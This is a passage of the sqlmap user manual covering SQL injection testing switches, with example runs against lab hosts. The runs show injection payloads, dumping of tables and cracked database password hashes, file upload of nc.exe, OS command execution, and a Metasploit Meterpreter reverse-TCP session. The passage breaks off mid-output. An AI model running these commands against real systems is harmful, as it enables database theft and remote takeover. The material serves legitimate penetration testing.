-[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
-[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
-[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
-[...]
-[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
-[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
-58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
-ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
-group/**/bY/**/x)a)
-[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
-clause' injectable
-[...]
-
-
-
-
-
-
-
-
-These options can be used to specify how to parse and compare page
-content from HTTP responses when using blind SQL injection technique.
-
-Level
-
-Switch: --level
-
-This switch requires an argument which specifies the level of tests to
-perform. There are five levels. The default value is 1
-where limited number of tests (requests) are performed. Vice versa, level
-5 will test verbosely for a much larger number of payloads and
-boundaries (as in pair of SQL payload prefix and suffix).
-The payloads used by sqlmap are specified in the textual file
-xml/payloads.xml. Following the instructions on top of the file,
-if sqlmap misses an injection, you should be able to add your own
-payload(s) to test for too!
-
-Not only this switch affects which payload sqlmap tries, but also which
-injection points are taken in exam: GET and POST parameters are
-always tested, HTTP Cookie header values are tested from level
-2 and HTTP User-Agent/Referer headers' value is tested from level
-3 .
-
-All in all, the harder it is to detect a SQL injection, the higher the
---level must be set.
-
-It is strongly recommended to higher this value before reporting to the
-mailing list that sqlmap is not able to detect a certain injection point.
-
-
-Risk
-
-Switch: --risk
-
-This switch requires an argument which specifies the risk of tests to
-perform. There are four risk values. The default value is
-1 which is innocuous for the majority of SQL injection points.
-Risk value 2 adds to the default level the tests for heavy query
-time-based SQL injections and value 3 adds also OR-based SQL
-injection tests.
-
-In some instances, like a SQL injection in an UPDATE statement,
-injecting an OR-based payload can lead to an update of all the
-entries of the table, which is certainly not what the attacker wants. For
-this reason and others this switch has been introduced: the user has
-control over which payloads get tested, the user can arbitrarily choose
-to use also potentially dangerous ones.
-As per the previous switch, the payloads used by sqlmap are specified in
-the textual file xml/payloads.xml and you are free to edit and
-add your owns.
-
-
-Page comparison
-
-Switches: --string, --regexp and
---text-only
-
-By default the distinction of a True query by a False
-one (rough concept behind boolean-based blind SQL injection vulnerabilities)
-is done by comparing the injected requests page content with the original
-not injected page content.
-Not always this concept works because sometimes the page content changes at
-each refresh even not injecting anything, for instance when the page has a
-counter, a dynamic advertisement banner or any other part of the HTML which
-is rendered dynamically and might change in time not only consequently to
-user's input.
-To bypass this limit, sqlmap tries hard to identify these snippets of the
-response bodies and deal accordingly. Sometimes it may fail, that is why
-the user can provide a string (--string switch) which is
-always present on the not injected page and on all True
-injected query pages, but that it is not on the False ones. As
-an alternative to a static string, the user can provide a regular
-expression (--regexp switch).
-
-Such data is easy for an user to retrieve, simply try to inject on the
-affected parameter an invalid value and compare manually the original (not
-injected) page content with the injected wrong page content.
-This way the distinction will be based upon string presence or regular
-expression match.
-
-In cases with lot of active content (e.g. scripts, embeds, etc.) in the
-HTTP responses' body, you can filter pages (--text-only
-switch) just for their textual content. This way, in a good number of
-cases, you can automatically tune the detection engine.
-
-
-
-
-These options can be used to tweak testing of specific SQL injection
-techniques.
-
-
-SQL injection techniques to test for
-
-Switch: --technique
-
-This switch can be used to specify which SQL injection type to test for.
-By default sqlmap tests for all types/techniques it supports.
-
-In certain situations you may want to test only for one or few specific
-types of SQL injection thought and this is where this switch comes into
-play.
-
-This switch requires an argument. Such argument is a string composed by
-any combination of B, E, U, S and
-T characters where each letter stands for a different technique:
-
-
-B: Boolean-based blind SQL injection
-E: Error-based SQL injection
-U: UNION query SQL injection
-S: Stacked queries SQL injection
-T: Time-based blind SQL injection
-
-
-
-For instance, you can provide ES if you want to test for and
-exploit error-based and stacked queries SQL injection types only.
-The default value is BEUST.
-
-Note that the string must include stacked queries technique letter,
-S, when you want to access the file system, takeover the
-operating system or access Windows registry hives.
-
-
-Seconds to delay the DBMS response for time-based blind SQL injection
-
-Switch: --time-sec
-
-It is possible to set the seconds to delay the response when testing for
-time-based blind SQL injection, by providing the
---time-sec option followed by an integer.
-By default delay is set to 5 seconds .
-
-
-Number of columns in UNION query SQL injection
-
-Switch: --union-cols
-
-By default sqlmap tests for UNION query SQL injection technique using 1 to
-10 columns. However, this range can be increased up to 50 columns by
-providing an higher --level value. See the relevant
-paragraph for details.
-
-You can manually tell sqlmap to test for this type of SQL injection with a
-specific range of columns by providing the tool with the
---union-cols switch followed by a range of integers. For
-instance, 12-16 means tests for UNION query SQL injection by
-using 12 up to 16 columns.
-
-
-Character to use to test for UNION query SQL injection
-
-Switch: --union-char
-
-By default sqlmap tests for UNION query SQL injection technique using
-NULL character. However, by providing an higher
---level value sqlmap will performs tests also with a
-random number because there are some corner cases where UNION query tests
-with NULL fail whereas with a random integer they succeed.
-
-You can manually tell sqlmap to test for this type of SQL injection with a
-specific character by providing the tool with the
---union-char switch followed by a string.
-
-
-
-
-Extensive database management system fingerprint
-
-Switches: -f or --fingerprint
-
-By default the web application's back-end database management system
-fingerprint is handled automatically by sqlmap.
-Just after the detection phase finishes and the user is eventually
-prompted with a choice of which vulnerable parameter to use further on,
-sqlmap fingerprints the back-end database management system and carries
-on the injection by knowing which SQL syntax, dialect and queries to use
-to proceed with the attack within the limits of the database architecture.
-
-If for any instance you want to perform an extensive database management
-system fingerprint based on various techniques like specific SQL dialects
-and inband error messages, you can provide the
---fingerprint switch. sqlmap will perform a lot more
-requests and fingerprint the exact DBMS version and, where possible,
-operating system, architecture and patch level.
-
-If you want the fingerprint to be even more accurate result, you can also
-provide the -b or --banner switch.
-
-
-
-
-These options can be used to enumerate the back-end database management
-system information, structure and data contained in the tables. Moreover
-you can run your own SQL statements.
-
-
-Banner
-
-Switch: -b or --banner
-
-Most of the modern database management systems have a function and/or
-an environment variable which returns the database management system
-version and eventually details on its patch level, the underlying
-system. Usually the function is version() and the environment
-variable is @@version, but this vary depending on the target
-DBMS.
-
-
-Session user
-
-Switch: --current-user
-
-On the majority of modern DBMSes is possible to retrieve the database
-management system's user which is effectively performing the query against
-the back-end DBMS from the web application.
-
-
-Current database
-
-Switch: --current-db
-
-It is possible to retrieve the database management system's database name
-that the web application is connected to.
-
-
-Detect whether or not the session user is a database administrator
-
-Switch: --is-dba
-
-It is possible to detect if the current database management system session
-user is a database administrator, also known as DBA.
-sqlmap will return True if it is, viceversa False.
-
-
-List database management system users
-
-Switch: --users
-
-When the session user has read access to the system table containing
-information about the DBMS users, it is possible to enumerate the list of
-users.
-
-
-List and crack database management system users password hashes
-
-Switches: --passwords and -U
-
-When the session user has read access to the system table containing
-information about the DBMS users' passwords, it is possible to enumerate
-the password hashes for each database management system user.
-sqlmap will first enumerate the users, then the different password hashes
-for each of them.
-
-Example against a PostgreSQL target:
-
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
-
-[...]
-back-end DBMS: PostgreSQL
-[hh:mm:38] [INFO] fetching database users password hashes
-do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
-[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
-what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
-[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
-do you want to use common password suffixes? (slow!) [y/N] n
-[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
-[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
-[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
-database management system users password hashes:
-[*] postgres [1]:
- password hash: md5d7d880f96044b72d0bba108ace96d1e4
- clear-text password: testpass
-[*] testuser [1]:
- password hash: md599e5ea7a6f7c3269995cba3927fd0093
- clear-text password: testpass
-
-
-
-
-Not only sqlmap enumerated the DBMS users and their passwords, but it also
-recognized the hash format to be PostgreSQL, asked the user whether or not
-to test the hashes against a dictionary file and identified the clear-text
-password for the postgres user, which is usually a DBA along the
-other user, testuser, password.
-
-This feature has been implemented for all DBMS where it is possible to
-enumerate users' password hashes, including Oracle and Microsoft SQL
-Server pre and post 2005.
-
-You can also provide the -U option to specify the specific user
-who you want to enumerate and eventually crack the password hash(es).
-If you provide CU as username it will consider it as an alias for
-current user and will retrieve the password hash(es) for this user.
-
-
-List database management system users privileges
-
-Switches: --privileges and -U
-
-When the session user has read access to the system table containing
-information about the DBMS users, it is possible to enumerate the
-privileges for each database management system user.
-By the privileges, sqlmap will also show you which are database
-administrators.
-
-You can also provide the -U option to specify the user who you
-want to enumerate the privileges.
-
-If you provide CU as username it will consider it as an alias for
-current user and will enumerate the privileges for this user.
-
-On Microsoft SQL Server, this feature will display you whether or not each
-user is a database administrator rather than the list of privileges for
-all users.
-
-
-List database management system users roles
-
-Switches: --roles and -U
-
-When the session user has read access to the system table containing
-information about the DBMS users, it is possible to enumerate the
-roles for each database management system user.
-
-You can also provide the -U option to specify the user who you
-want to enumerate the privileges.
-
-If you provide CU as username it will consider it as an alias for
-current user and will enumerate the privileges for this user.
-
-This feature is only available when the DBMS is Oracle.
-
-
-List database management system's databases
-
-Switch: --dbs
-
-When the session user has read access to the system table containing
-information about available databases, it is possible to enumerate the
-list of databases.
-
-
-Enumerate database's tables
-
-Switches: --tables, -D and
---exclude-sysdbs
-
-When the session user has read access to the system table containing
-information about databases' tables, it is possible to enumerate
-the list of tables for a specific database management system's databases.
-
-If you do not provide a specific database with switch -D, sqlmap
-will enumerate the tables for all DBMS databases.
-
-You can also provide the --exclude-sysdbs switch to
-exclude all system databases.
-
-Note that on Oracle you have to provide the TABLESPACE_NAME
-instead of the database name.
-
-
-Enumerate database table columns
-
-Switches: --columns, -C, -T and -D
-
-When the session user has read access to the system table containing
-information about database's tables, it is possible to enumerate the list
-of columns for a specific database table.
-sqlmap also enumerates the data-type for each column.
-
-This feature depends on the option -T to specify the table name
-and optionally on -D to specify the database name. When the
-database name is not specified, the current database name is used.
-You can also provide the -C option to specify the table columns
-name like the one you provided to be enumerated.
-
-Example against a SQLite target:
-
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns \
- -D testdb -T users -C name
-[...]
-Database: SQLite_masterdb
-Table: users
-[3 columns]
-+---------+---------+
-| Column | Type |
-+---------+---------+
-| id | INTEGER |
-| name | TEXT |
-| surname | TEXT |
-+---------+---------+
-
-
-
-
-Note that on PostgreSQL you have to provide public or the
-name of a system database. That's because it is not possible to enumerate
-other databases tables, only the tables under the schema that the web
-application's user is connected to, which is always aliased by
-public.
-
-
-Enumerate database management system schema
-
-Switches: --schema
-
-TODO
-
-
-Retrieve number of entries for table(s)
-
-Switches: --count
-
-TODO
-
-
-Dump database table entries
-
-Switches: --dump, -C, -T, -D,
---start, --stop, --first
-and --last
-
-When the session user has read access to a specific database's table it is
-possible to dump the table entries.
-
-This functionality depends on switch -T to specify the table
-name and optionally on switch -D to specify the database name.
-If the table name is provided, but the database name is not, the current
-database name is used.
-
-Example against a Firebird target:
-
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
-[...]
-Database: Firebird_masterdb
-Table: USERS
-[4 entries]
-+----+--------+------------+
-| ID | NAME | SURNAME |
-+----+--------+------------+
-| 1 | luther | blisset |
-| 2 | fluffy | bunny |
-| 3 | wu | ming |
-| 4 | NULL | nameisnull |
-+----+--------+------------+
-
-
-
-
-This switch can also be used to dump all tables' entries of a provided
-database. You simply have to provide sqlmap with the --dump
-switch along with only the -D switch, no -T and no
--C.
-
-You can also provide a comma-separated list of the specific columns to
-dump with the -C switch.
-
-sqlmap also generates for each table dumped the entries in a CSV format
-textual file.
-You can see the absolute path where sqlmap creates the file by providing a
-verbosity level greater than or equal to 1 .
-
-If you want to dump only a range of entries, then you can provide switches
---start and/or --stop to respectively
-start to dump from a certain entry and stop the dump at a certain entry.
-For instance, if you want to dump only the first entry, provide
---stop 1 in your command line. Vice versa if, for
-instance, you want to dump only the second and third entry, provide
---start 1 --stop 3.
-
-It is also possible to specify which single character or range of characters
-to dump with switches --first and --last.
-For instance, if you want to dump columns' entries from the third to the
-fifth character, provide --first 3 --last
-5.
-This feature only applies to the blind SQL injection techniques because for
-error-based and UNION query SQL injection techniques the number of requests
-is exactly the same, regardless of the length of the column's entry output
-to dump.
-
-As you may have noticed by now, sqlmap is flexible : you can leave
-it to automatically dump the whole database table or you can be very
-precise in which characters to dump, from which columns and which range of
-entries.
-
-
-Dump all databases tables entries
-
-Switches: --dump-all and --exclude-sysdbs
-
-It is possible to dump all databases tables entries at once that the
-session user has read access on.
-
-You can also provide the --exclude-sysdbs switch to
-exclude all system databases. In that case sqlmap will only dump entries
-of users' databases tables.
-
-Note that on Microsoft SQL Server the master database is not
-considered a system database because some database administrators use it
-as a users' database.
-
-
-Search for columns, tables or databases
-
-Switches: --search, -C, -T, -D
-
-This switch allows you to search for specific database names, specific
-tables across all databases or specific columns across all databases'
-tables .
-
-This is useful, for instance, to identify tables containing custom
-application credentials where relevant columns' names contain string like
-name and pass .
-
-The switch --search needs to be used in conjunction with
-one of the following support switches:
-
-
--C following a list of comma-separated column names to look
-for across the whole database management system.
--T following a list of comma-separated table names to look
-for across the whole database management system.
--D following a list of comma-separated database names to
-look for across the database management system.
-
-
-
-
-Run custom SQL statement
-
-Switches: --sql-query and --sql-shell
-
-The SQL query and the SQL shell features allow to run arbitrary SQL
-statements on the database management system.
-sqlmap automatically dissects the provided statement, determines which
-technique is appropriate to use to inject it and how to pack the SQL
-payload accordingly.
-
-If the query is a SELECT statement, sqlmap will retrieve its
-output.
-Otherwise it will execute the query through the stacked query SQL
-injection technique if the web application supports multiple statements on
-the back-end database management system.
-Beware that some web application technologies do not support stacked
-queries on specific database management systems. For instance, PHP does
-not support stacked queries when the back-end DBMS is MySQL, but it does
-support when the back-end DBMS is PostgreSQL.
-
-Examples against a Microsoft SQL Server 2000 target:
-
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
- "SELECT 'foo'" -v 1
-
-[...]
-[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
-[hh:mm:14] [INFO] retrieved: foo
-SELECT 'foo': 'foo'
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
- "SELECT 'foo', 'bar'" -v 2
-
-[...]
-[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
-[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
-distinct queries to be able to retrieve the output even if we are going blind
-[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
-(CHAR(32)))
-[hh:mm:50] [INFO] retrieved: foo
-[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
-[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
-(CHAR(32)))
-[hh:mm:50] [INFO] retrieved: bar
-[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
-SELECT 'foo', 'bar': 'foo, bar'
-
-
-
-
-As you can see, sqlmap splits the provided query into two different
-SELECT statements then retrieves the output for each separate
-query.
-
-If the provided query is a SELECT statement and contains a
-FROM clause, sqlmap will ask you if such statement can return
-multiple entries. In that case the tool knows how to unpack the query
-correctly to count the number of possible entries and retrieve its output,
-entry per entry.
-
-The SQL shell option allows you to run your own SQL statement
-interactively, like a SQL console connected to the database management
-system.
-This feature provides TAB completion and history support too.
-
-
-
-
-These options can be used to run brute force checks.
-
-Brute force tables names
-
-Switches: --common-tables
-
-There are cases where --tables switch can not be used to
-retrieve the databases' table names. These cases usually fit into one
-of the following categories:
-
-
-The database management system is MySQL < 5.0 where
-information_schema is not available.
-The database management system is Microsoft Access and system table
-MSysObjects is not readable - default setting.
-The session user does not have read privileges against the system
-table storing the scheme of the databases.
-
-
-
-If any of the first two cases apply and you provided the
---tables switch, sqlmap will prompt you with a question
-to fall back to this technique.
-Either of these cases apply to your situation, sqlmap can possibly still
-identify some existing tables if you provide it with the
---common-tables switch. sqlmap will perform a
-brute-force attack in order to detect the existence of common tables
-across the DBMS.
-
-The list of common table names is txt/common-tables.txt and you
-can edit it as you wish.
-
-Example against a MySQL 4.1 target:
-
-
-
-$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" \
- --common-tables -D testdb --banner
-
-[...]
-[hh:mm:39] [INFO] testing MySQL
-[hh:mm:39] [INFO] confirming MySQL
-[hh:mm:40] [INFO] the back-end DBMS is MySQL
-[hh:mm:40] [INFO] fetching banner
-web server operating system: Windows
-web application technology: PHP 5.3.1, Apache 2.2.14
-back-end DBMS operating system: Windows
-back-end DBMS: MySQL < 5.0.0
-banner: '4.1.21-community-nt'
-
-[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
-[hh:mm:40] [INFO] adding words used on web page to the check list
-please enter number of threads? [Enter for 1 (current)] 8
-[hh:mm:43] [INFO] retrieved: users
-
-Database: testdb
-[1 table]
-+-------+
-| users |
-+-------+
-
-
-
-
-
-Brute force columns names
-
-Switches: --common-columns
-
-As per tables, there are cases where --columns switch
-can not be used to retrieve the databases' tables' column names. These
-cases usually fit into one of the following categories:
-
-
-The database management system is MySQL < 5.0 where
-information_schema is not available.
-The database management system is Microsoft Access where this
-kind of information is not available inside system tables.
-The session user does not have read privileges against the system
-table storing the scheme of the databases.
-
-
-
-If any of the first two cases apply and you provided the
---columns switch, sqlmap will prompt you with a question
-to fall back to this technique.
-Either of these cases apply to your situation, sqlmap can possibly still
-identify some existing tables if you provide it with the
---common-columns switch. sqlmap will perform a
-brute-force attack in order to detect the existence of common columns
-across the DBMS.
-
-The list of common table names is txt/common-columns.txt and you
-can edit it as you wish.
-
-
-
-
-These options can be used to create custom user-defined functions.
-
-Inject custom user-defined functions (UDF)
-
-Switches: --udf-inject and --shared-lib
-
-You can inject your own user-defined functions (UDFs) by compiling a
-MySQL or PostgreSQL shared library, DLL for Windows and shared object for
-Linux/Unix, then provide sqlmap with the path where the shared library
-is stored locally on your machine. sqlmap will then ask you some
-questions, upload the shared library on the database server file system,
-create the user-defined function(s) from it and, depending on your
-options, execute them. When you are finished using the injected UDFs,
-sqlmap can also remove them from the database for you.
-
-These techniques are detailed in the white paper
-Advanced SQL injection to operating system full control .
-
-Use switch --udf-inject and follow the instructions.
-
-If you want, you can specify the shared library local file system path
-via command line too by using --shared-lib option. Vice
-versa sqlmap will ask you for the path at runtime.
-
-This feature is available only when the database management system is
-MySQL or PostgreSQL.
-
-
-
-
-Read a file from the database server's file system
-
-Switch: --file-read
-
-It is possible to retrieve the content of files from the underlying file
-system when the back-end database management system is either MySQL,
-PostgreSQL or Microsoft SQL Server, and the session user has the needed
-privileges to abuse database specific functionalities and architectural
-weaknesses.
-The file specified can be either a textual or a binary file. sqlmap will
-handle it properly.
-
-These techniques are detailed in the white paper
-Advanced SQL injection to operating system full control .
-
-Example against a Microsoft SQL Server 2005 target to retrieve a binary
-file:
-
-
-
-$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
- --file-read "C:/example.exe" -v 1
-
-[...]
-[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
-web server operating system: Windows 2000
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP
-back-end DBMS: Microsoft SQL Server 2005
-
-[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
-[hh:mm:50] [INFO] the SQL query provided returns 3 entries
-C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/C__example.exe'
-[...]
-
-$ ls -l output/192.168.136.129/files/C__example.exe
--rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
-
-$ file output/192.168.136.129/files/C__example.exe
-output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
-80386 32-bit
-
-
-
-
-
-Upload a file to the database server's file system
-
-Switches: --file-write and --file-dest
-
-It is possible to upload a local file to the database server's file system
-when the back-end database management system is either MySQL, PostgreSQL
-or Microsoft SQL Server, and the session user has the needed privileges to
-abuse database specific functionalities and architectural weaknesses.
-The file specified can be either a textual or a binary file. sqlmap will
-handle it properly.
-
-These techniques are detailed in the white paper
-Advanced SQL injection to operating system full control .
-
-Example against a MySQL target to upload a binary UPX-compressed file:
-
-
-
-$ file /software/nc.exe.packed
-/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
-
-$ ls -l /software/nc.exe.packed
--rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
-
-$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \
- "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
-
-[...]
-[hh:mm:29] [INFO] the back-end DBMS is MySQL
-web server operating system: Windows 2003 or 2008
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
-back-end DBMS: MySQL >= 5.0.0
-
-[...]
-do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
-written on the back-end DBMS file system? [Y/n] y
-[hh:mm:52] [INFO] retrieved: 31744
-[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
-same size as the local file '/software/nc.exe.packed'
-
-
-
-
-
-
-
-Run arbitrary operating system command
-
-Switches: --os-cmd and --os-shell
-
-It is possible to run arbitrary commands on the database server's
-underlying operating system when the back-end database management
-system is either MySQL, PostgreSQL or Microsoft SQL Server, and the
-session user has the needed privileges to abuse database specific
-functionalities and architectural weaknesses.
-
-On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality
-explained above) a shared library (binary file) containing two
-user-defined functions, sys_exec() and sys_eval(), then
-it creates these two functions on the database and calls one of them to
-execute the specified command, depending on user's choice to display the
-standard output or not.
-On Microsoft SQL Server, sqlmap abuses the xp_cmdshell stored
-procedure: if it is disabled (by default on Microsoft SQL Server >= 2005),
-sqlmap re-enables it; if it does not exist, sqlmap creates it from
-scratch.
-
-When the user requests the standard output, sqlmap uses one of the
-enumeration SQL injection techniques (blind, inband or error-based) to
-retrieve it. Vice versa, if the standard output is not required, stacked
-query SQL injection technique is used to execute the command.
-
-These techniques are detailed in the white paper
-Advanced SQL injection to operating system full control .
-
-Example against a PostgreSQL target:
-
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
- --os-cmd id -v 1
-
-[...]
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: PostgreSQL
-[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
-[hh:mm:12] [INFO] testing if current user is DBA
-[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
-[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
-[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
-[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
-do you want to retrieve the command standard output? [Y/n/a] y
-command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
-
-[hh:mm:19] [INFO] cleaning up the database management system
-do you want to remove UDF 'sys_eval'? [Y/n] y
-do you want to remove UDF 'sys_exec'? [Y/n] y
-[hh:mm:23] [INFO] database management system cleanup finished
-[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can
-only be deleted manually
-
-
-
-
-It is also possible to simulate a real shell where you can type as many
-arbitrary commands as you wish. The option is --os-shell
-and has the same TAB completion and history functionalities that
---sql-shell has.
-
-Where stacked queries has not been identified on the web application
-(e.g. PHP or ASP with back-end database management system being MySQL) and
-the DBMS is MySQL, it is still possible to abuse the SELECT
-clause's INTO OUTFILE to create a web backdoor in a writable
-folder within the web server document root and still get command
-execution assuming the back-end DBMS and the web server are hosted on the
-same server.
-sqlmap supports this technique and allows the user to provide a
-comma-separated list of possible document root sub-folders where try to
-upload the web file stager and the subsequent web backdoor. Also, sqlmap
-has its own tested web file stagers and backdoors for the following
-languages:
-
-
-ASP
-ASP.NET
-JSP
-PHP
-
-
-
-
-Out-of-band stateful connection: Meterpreter & friends
-
-Switches: --os-pwn, --os-smbrelay,
---os-bof, --priv-esc,
---msf-path and --tmp-path
-
-It is possible to establish an out-of-band stateful TCP connection
-between the attacker machine and the database server underlying
-operating system when the back-end database management system is either
-MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the
-needed privileges to abuse database specific functionalities and
-architectural weaknesses.
-This channel can be an interactive command prompt, a Meterpreter session
-or a graphical user interface (VNC) session as per user's choice.
-
-sqlmap relies on Metasploit to create the shellcode and implements four
-different techniques to execute it on the database server. These
-techniques are:
-
-Database in-memory execution of the Metasploit's shellcode
-via sqlmap own user-defined function sys_bineval(). Supported on
-MySQL and PostgreSQL - switch --os-pwn.
-Upload and execution of a Metasploit's stand-alone payload
-stager via sqlmap own user-defined function sys_exec() on
-MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL
-Server - switch --os-pwn.
-Execution of Metasploit's shellcode by performing a SMB
-reflection attack (
-MS08-068 ) with a UNC path request from the database server to
-the attacker's machine where the Metasploit smb_relay server
-exploit listens. Supported when running sqlmap with high privileges
-(uid=0) on Linux/Unix and the target DBMS runs as Administrator
-on Windows - switch --os-smbrelay.
-Database in-memory execution of the Metasploit's shellcode by
-exploiting Microsoft SQL Server 2000 and 2005
-sp_replwritetovarbin stored procedure heap-based buffer
-overflow (
-MS09-004 ). sqlmap has its own exploit to trigger the
-vulnerability with automatic DEP memory protection bypass, but it relies
-on Metasploit to generate the shellcode to get executed upon successful
-exploitation - switch --os-bof.
-
-
-
-These techniques are detailed in the white paper
-Advanced SQL injection to operating system full control and in the
-slide deck
-Expanding the control over the operating system from the database .
-
-Example against a MySQL target:
-
-
-
-$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn \
- --msf-path /software/metasploit
-
-[...]
-[hh:mm:31] [INFO] the back-end DBMS is MySQL
-web server operating system: Windows 2003
-web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
-back-end DBMS: MySQL 5.0
-[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
-how do you want to establish the tunnel?
-[1] TCP: Metasploit Framework (default)
-[2] ICMP: icmpsh - ICMP tunneling
->
-[hh:mm:32] [INFO] testing if current user is DBA
-[hh:mm:32] [INFO] fetching current user
-what is the back-end database management system architecture?
-[1] 32-bit (default)
-[2] 64-bit
->
-[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
-[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
-[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
-[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
-[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
-how do you want to execute the Metasploit shellcode on the back-end database underlying
-operating system?
-[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
-[2] Stand-alone payload stager (file system way)
->
-[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
-which connection type do you want to use?
-[1] Reverse TCP: Connect back from the database host to this machine (default)
-[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
-between the specified and 65535
-[3] Bind TCP: Listen on the database host for a connection
->
-which is the local address? [192.168.136.1]
-which local port number do you want to use? [60641]
-which payload do you want to use?
-[1] Meterpreter (default)
-[2] Shell
-[3] VNC
->
-[hh:mm:40] [INFO] creation in progress ... done
-[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..
-
- _
- | | o
- _ _ _ _ _|_ __, , _ | | __ _|_
-/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
- | | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
- /|
- \|
-
-
- =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
-+ -- --=[ 674 exploits - 351 auxiliary
-+ -- --=[ 217 payloads - 27 encoders - 8 nops
- =[ svn r12272 updated 4 days ago (2011.04.07)
-
-PAYLOAD => windows/meterpreter/reverse_tcp
-EXITFUNC => thread
-LPORT => 60641
-LHOST => 192.168.136.1
-[*] Started reverse handler on 192.168.136.1:60641
-[*] Starting the payload handler...
-[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval',
-please wait..
-[*] Sending stage (749056 bytes) to 192.168.136.129
-[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11
-hh:mm:52 +0100 2011
-
-meterpreter > Loading extension espia...success.
-meterpreter > Loading extension incognito...success.
-meterpreter > [-] The 'priv' extension has already been loaded.
-meterpreter > Loading extension sniffer...success.
-meterpreter > System Language : en_US
-OS : Windows .NET Server (Build 3790, Service Pack 2).
-Computer : W2K3R2
-Architecture : x86
-Meterpreter : x86/win32
-meterpreter > Server username: NT AUTHORITY\SYSTEM
-meterpreter > ipconfig
-
-MS TCP Loopback interface
